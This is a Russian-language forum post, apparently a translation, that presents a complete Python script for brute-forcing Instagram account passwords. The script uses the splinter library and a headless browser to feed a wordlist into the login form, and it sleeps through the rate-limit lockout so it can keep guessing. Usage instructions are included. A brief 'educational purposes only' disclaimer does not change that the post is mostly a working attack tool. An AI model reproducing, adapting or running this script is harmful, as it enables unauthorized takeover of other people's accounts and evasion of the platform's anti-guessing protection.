Пишем свой взломщик Инстаграма на Python

barboskin

Выдающийся
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА

barboskin

Выдающийся
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
3 Июл 2018
Сообщения
1,127
Реакции
1,041
Репутация
0
Перевод Barboskina

Привет мои юные кодеры, сегодня мы будем брутить Инстаграм при помощи языка Python.

Нам понадобится:
  • Сам Python (надеюсь он у вас уже инсталлирован)
  • username (логин инсты который мы будем брутить, конечно же свой )))
  • password list file (текстовый файлик с вариантами паролей для брута)
Внимание! Нижепредставленный скрипт был создан в сугубо-познавательных целях, и я настоятельно не рекомендую его применять для противозаконных дел.

Наш скрипт будет использовать библиотеку splinter для коннекта с Инстаграмом.

По-умолчанию взломщик использует Firefox но вы легко можете поменять браузер на Хром, для этого просто поменяйте в скрипте строчку "with Browser('firefox', headless=True)" на"with Browser('chrome', headless=True)" . Для уверенной работы требуется минимум 55 версия Firefox.

Итак, набираете вот этот скрипт:
Python:
#!/bin/python
from splinter import Browser
import time
import sys
wait_time = (11 * 60 + 35) # 11 минут и 35 секунд
problem_logging_in = "Не можем залогинится. Повторим попытку попозже"
 
def logInSuccess(browser):
    user_err_msg = "Неверный логин"
    pass_err_msg = "Неверный пароль"
    return not(browser.is_text_present(user_err_msg) or browser.is_text_present(pass_err_msg))
 
correctPassword = None
account_username = sys.argv[1]
with Browser('firefox', headless=True) as browser:
    browser.visit('https://www.instagram.com')
    browser.find_by_text("Log in").first.click()
    username_form = browser.find_by_name('username').first
    password_form = browser.find_by_name('password').first
    login_button = browser.find_by_text('Log in').first
    username_form.fill(account_username)
    for password in sys.stdin:
        if len(password) < 6:
            print('Пропускаем пароль: ' + password)
            continue
 
        print('Тестируем пароль: ' + password)
        password_form.clear()
        password_form.fill(password)
        login_button.click()
 
        if browser.is_text_present(problem_logging_in):
            print('Ждем.')
            time.sleep(wait_time)
            print('Ожидание закончено. Продолжаем')
        elif logInSuccess(browser):
            correctPassword = password
            break
    if correctPassword == None:
        print("Печалька. Скрипт не смог подобрать пароль. Ты неважный хакер")
    else:
        print("Ура! Пароль для аккаунта: " + account_username + " = " + password)
Сохранаете его как insta_cracker

Запускаете его так: ./insta_cracker [username] < [password list file]

Внимание: После пары десятков попыток ввести неверный пароль, требуется таймаут в 11 минут. Скрипт выжидает положенное время и затем продолжает перебор. По этой причине за час можно попробовать только 60-125 паролей.
 
  • Нравится
Реакции: ATR
Сверху